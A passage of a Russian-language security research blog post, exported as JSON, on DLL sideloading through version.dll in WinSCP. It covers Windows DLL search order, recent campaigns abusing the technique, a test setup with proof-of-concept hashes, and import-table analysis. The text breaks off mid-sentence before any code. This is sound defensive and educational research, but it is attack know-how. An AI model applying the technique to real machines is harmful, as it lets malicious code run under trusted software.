{"id":489904,"date":"2026-08-05T14:29:06","date_gmt":"2026-08-05T14:29:06","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=489904"},"modified":"-0001-11-30T00:00:00","modified_gmt":"2026-08-05T14:29:06","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=489904","title":{"rendered":"DLL Sideloading \u0447\u0435\u0440\u0435\u0437 version.dll \u0432 WinSCP: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u043f\u043e\u0438\u0441\u043a\u0430 DLL, \u043f\u0440\u043e\u043a\u0441\u0438 \u043d\u0430 Rust \u0438 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 payload"},"content":{"rendered":"<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<blockquote>\n<p><strong>\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435:<\/strong> \u042d\u0442\u043e\u0442 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0441\u043e\u0437\u0434\u0430\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0443\u0447\u0435\u0431\u044b \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439. \u041e\u043d \u043d\u0443\u0436\u0435\u043d \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 Microsoft Windows \u0438 \u043a\u0430\u043a\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u0432 \u043d\u0435\u0439 \u0435\u0441\u0442\u044c. \u0422\u0435\u043a\u0441\u0442 \u043d\u0435 \u043f\u043e\u0431\u0443\u0436\u0434\u0430\u0435\u0442 \u043a \u043d\u0435\u0437\u0430\u043a\u043e\u043d\u043d\u044b\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c. \u0410\u0432\u0442\u043e\u0440 \u043d\u0435 \u043d\u0435\u0441\u0435\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 \u0432\u0440\u0435\u0434, \u0435\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043d\u0435\u043f\u0440\u0430\u0432\u043e\u043c\u0435\u0440\u043d\u043e \u0438\u043b\u0438 \u0441 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043a\u043e\u043d\u0430.<\/p>\n<\/blockquote>\n<p>WinSCP \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 <code>version.dll<\/code> \u0438\u0437 \u0441\u0432\u043e\u0435\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e Windows \u0438\u0449\u0435\u0442 DLL \u043f\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u0440\u044f\u0434\u043a\u0443. \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u043e\u043a\u0430\u0436\u0443\u0442, \u043a\u0430\u043a \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u0442\u0430\u043a\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0447\u0435\u0440\u0435\u0437 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0438\u043c\u043f\u043e\u0440\u0442\u0430, \u043f\u043e\u0442\u043e\u043c \u043f\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c DLL, \u043e\u0442 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u0437\u0430\u0442\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Procmon, \u0447\u0442\u043e\u0431\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438. \u0422\u0430\u043a\u043e\u0439 \u0436\u0435 \u043f\u0440\u0438\u0435\u043c \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0438 \u043f\u0440\u0438 \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 Filezilla, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u0442\u0435\u043c, \u043a\u0442\u043e \u0438\u0437\u0443\u0447\u0430\u0435\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u0443 DLL \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0445.<\/p>\n<h2>1. \u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/h2>\n<h3>1.1. \u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 DLL Sideloading<\/h3>\n<p>\u0421\u0443\u0442\u044c \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0432 \u0442\u043e\u043c, \u043a\u0430\u043a Windows \u043d\u0430\u0445\u043e\u0434\u0438\u0442 DLL. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043f\u043a\u0443, \u0433\u0434\u0435 \u043b\u0435\u0436\u0438\u0442 \u0441\u0430\u043c\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 (<code>AppDir<\/code>), \u0437\u0430\u0442\u0435\u043c \u0438\u0434\u0451\u0442 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 (<code>System32<\/code>\/<code>SysWOW64<\/code>), \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043a <code>PATH<\/code>. \u041f\u0440\u0438 DLL Sideloading \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u043f\u043e\u043c\u0435\u0449\u0430\u044e\u0442 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0440\u044f\u0434\u043e\u043c \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439 \u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043d\u0443\u0436\u043d\u0443\u044e DLL. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u0435\u0451 \u043f\u0435\u0440\u0432\u043e\u0439 \u0438 \u043f\u043e\u0434\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439. \u0415\u0441\u0442\u044c \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 &#8212; Known DLLs: \u0434\u043b\u044f \u043d\u0438\u0445 Windows \u0441\u0440\u0430\u0437\u0443 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 <code>AppDir<\/code>.<\/p>\n<p>\u0412\u0430\u0436\u043d\u043e \u043d\u0435 \u043f\u0443\u0442\u0430\u0442\u044c <code>AppDir<\/code> &#8212; \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0441 <code>.exe<\/code>, &#8212; \u0441 \u0442\u0435\u043a\u0443\u0449\u0438\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c (<code>CurrentDir<\/code>), \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u043f\u0440\u043e\u0446\u0435\u0441\u0441. \u0420\u0430\u043d\u044c\u0448\u0435 \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 <code>CurrentDir<\/code> \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c \u043e\u0447\u0435\u043d\u044c \u0447\u0430\u0441\u0442\u043e. \u0414\u043e Windows XP SP2 \u0441\u0445\u0435\u043c\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u0442\u0430\u043a: \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0438\u0437 \u043f\u0430\u043f\u043a\u0438, \u0433\u0434\u0435 \u043b\u0435\u0436\u0430\u043b\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f DLL, \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u0433\u043b\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0438\u043c\u0435\u043d\u043d\u043e \u0435\u0451. \u041f\u043e\u0437\u0436\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f <code>SafeDllSearchMode<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 XP SP2. \u041e\u043d \u043f\u0435\u0440\u0435\u043d\u0451\u0441 <code>CurrentDir<\/code> \u0432 \u043a\u043e\u043d\u0435\u0446 \u0441\u043f\u0438\u0441\u043a\u0430 \u043f\u043e\u0438\u0441\u043a\u0430, \u043f\u043e\u0441\u043b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043f\u0430\u043f\u043e\u043a. \u041d\u043e \u043e\u0442 Sideloading \u0440\u044f\u0434\u043e\u043c \u0441 \u0441\u0430\u043c\u0438\u043c <code>.exe<\/code> \u044d\u0442\u043e \u043d\u0435 \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442: <code>AppDir<\/code> \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c \u043f\u0440\u0438 \u043b\u044e\u0431\u043e\u043c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 DLL \u0440\u044f\u0434\u043e\u043c \u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0430\u0431\u043e\u0447\u0438\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u0430\u0442\u0430\u043a\u0438.<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\"><strong>\u0420\u0435\u0436\u0438\u043c<\/strong><\/p>\n<\/th>\n<th>\n<p align=\"left\"><strong>\u041f\u043e\u0440\u044f\u0434\u043e\u043a \u043f\u043e\u0438\u0441\u043a\u0430 DLL<\/strong><\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u0411\u0435\u0437 SafeDllSearchMode (legacy, \u0434\u043e Windows XP SP2)<\/p>\n<\/td>\n<td>\n<p align=\"left\">1. AppDir \u2192 2. CurrentDir \u2192 3. System32 \u2192 4. 16-bit System \u2192 5. Windows \u2192 6. PATH<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u0421 SafeDllSearchMode (\u0432\u043a\u043b\u044e\u0447\u0451\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0441 XP SP2)<\/p>\n<\/td>\n<td>\n<p align=\"left\">1. AppDir \u2192 2. System32 \u2192 3. 16-bit System \u2192 4. Windows \u2192 5. CurrentDir \u2192 6. PATH<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h3>1.2. \u0410\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c<\/h3>\n<p>\u0412 \u043c\u0430\u0440\u0442\u0435 2026 \u0433\u043e\u0434\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0433\u0434\u0435 \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c FileZilla \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0438 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0439 \u0434\u043e\u043c\u0435\u043d <code>filezilla-project.live<\/code>. \u0414\u043b\u044f DLL sideloading \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 <code>version.dll<\/code> [1, 2]. \u0410 \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u0435 \u0436\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a CPUID (CPU-Z\/HWMonitor) \u0438 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438 <code>cryptbase.dll<\/code> [2].<\/p>\n<h3>1.3. \u0421\u0440\u0435\u0434\u0430 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f<\/h3>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\"><strong>\u041a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442<\/strong><\/p>\n<\/th>\n<th>\n<p align=\"left\"><strong>\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435<\/strong><\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u041e\u0421<\/p>\n<\/td>\n<td>\n<p align=\"left\">Windows 11 Pro 25H2 (build 26200.8875)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Rust toolchain<\/p>\n<\/td>\n<td>\n<p align=\"left\">rustc 1.97.1 \/ cargo 1.97.1 (stable, 2026-07-14)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0441\u0431\u043e\u0440\u043a\u0438<\/p>\n<\/td>\n<td>\n<p align=\"left\">i686-pc-windows-msvc (32-bit \u0434\u043b\u044f WinSCP x86)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">WinSCP.exe (Portable 6.5.6)<\/p>\n<\/td>\n<td>\n<p align=\"left\">CF948EAF8429C582636953E8B6B82097C8BB0A55111EC57E5F890E27DBAB70D9 (SHA-256)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">SysWOW64\\version.dll (x86)<\/p>\n<\/td>\n<td>\n<p align=\"left\">4F66B88731E84BE8E1545EEFC589A79E701CCA426CE916E4AC9322E60EA9680B (SHA-256)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">System32\\version.dll (x64)<\/p>\n<\/td>\n<td>\n<p align=\"left\">CEA99F212AF557A9613150C5509631403ED0F05F5D9A06AC42039BD59B40E39A (SHA-256)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">PoC version_dll_poc.dll (x86)<\/p>\n<\/td>\n<td>\n<p align=\"left\">5820504854E4B1FD077C1B909CCAF363B23C3DDB9818FB17CA8E150B335DC4E0 (SHA-256)<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h2>2. \u041c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f<\/h2>\n<p>\u0420\u0430\u0431\u043e\u0442\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043b\u0430 \u0438\u0437 \u0434\u0432\u0443\u0445 \u044d\u0442\u0430\u043f\u043e\u0432. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437, \u0447\u0442\u043e\u0431\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 WinSCP.exe \u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0442\u0435 DLL, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Procmon \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u0437\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043a \u043f\u0430\u043f\u043a\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0445\u043e\u0442\u044f \u0431\u044b \u0437\u0430 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a.<\/p>\n<h3>2.1. \u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437: Import Table<\/h3>\n<p>\u041e\u0442\u043f\u0440\u0430\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0441\u0442\u0430\u043b\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432 WinSCP.exe &#8212; \u044d\u0442\u043e \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c DLL \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435. \u0422\u0430\u043a\u043e\u0439 \u0438\u043c\u043f\u043e\u0440\u0442 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432\u0430\u0436\u0435\u043d: \u0435\u0441\u043b\u0438 DLL \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0431\u0443\u0434\u0435\u0442 \u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0435\u0451 \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0434\u0430\u043b\u044c\u0448\u0435. \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u043c\u0435\u043d\u043d\u043e \u0437\u0434\u0435\u0441\u044c \u0441\u0442\u043e\u0438\u0442 \u0438\u0441\u043a\u0430\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440.<\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 PE-Bear \u0438 Python-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 <code>lief<\/code>. \u041e\u043d\u0430 \u0443\u043c\u0435\u0435\u0442 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c PE-\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c \u0438 \u0432\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u0438\u043c\u043f\u043e\u0440\u0442\u044b \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u0444\u0430\u0439\u043b\u0430.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/d2\/16\/db\/d216db233296b45c1ccaeb6597452f67.png\" alt=\"Import Table WinSCP.exe \u0432 PE-Bear\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/d2\/16\/db\/d216db233296b45c1ccaeb6597452f67.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/d2\/16\/db\/d216db233296b45c1ccaeb6597452f67.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>Import Table WinSCP.exe \u0432 PE-Bear<\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u044b\u0448\u0435\u043b \u043f\u043e\u043b\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0438\u0437 32 \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 DLL \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435\u043c \u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \u0412 \u044d\u0442\u043e\u043c \u0441\u043f\u0438\u0441\u043a\u0435 \u0435\u0441\u0442\u044c \u0438 VERSION.dll &#8212; \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0438 WinSCP \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043a \u043d\u0435\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430 \u0442\u0440\u0435\u043c\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438. \u042d\u0442\u043e \u0441\u0440\u0430\u0437\u0443 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435: \u0435\u0441\u043b\u0438 \u043e\u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0449\u0435\u0442 \u044d\u0442\u0443 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0432 \u043f\u0430\u043f\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0442\u043e \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u0443\u0434\u043e\u0431\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e, \u0432\u0435\u0434\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043e\u0447\u0435\u043d\u044c \u043c\u0430\u043b\u043e.<\/p>\n<h3>2.2. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Known DLLs<\/h3>\n<p>\u041d\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043c\u043f\u043e\u0440\u0442\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e. \u0417\u0434\u0435\u0441\u044c \u0432\u0430\u0436\u0435\u043d \u0438 \u0441\u043f\u0438\u0441\u043e\u043a Known DLLs: \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0437\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0432 \u043f\u0430\u043f\u043a\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u0437\u0430\u0433\u043b\u044f\u0434\u044b\u0432\u0430\u0435\u0442. \u0422\u0430\u043a\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0441\u0440\u0430\u0437\u0443 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 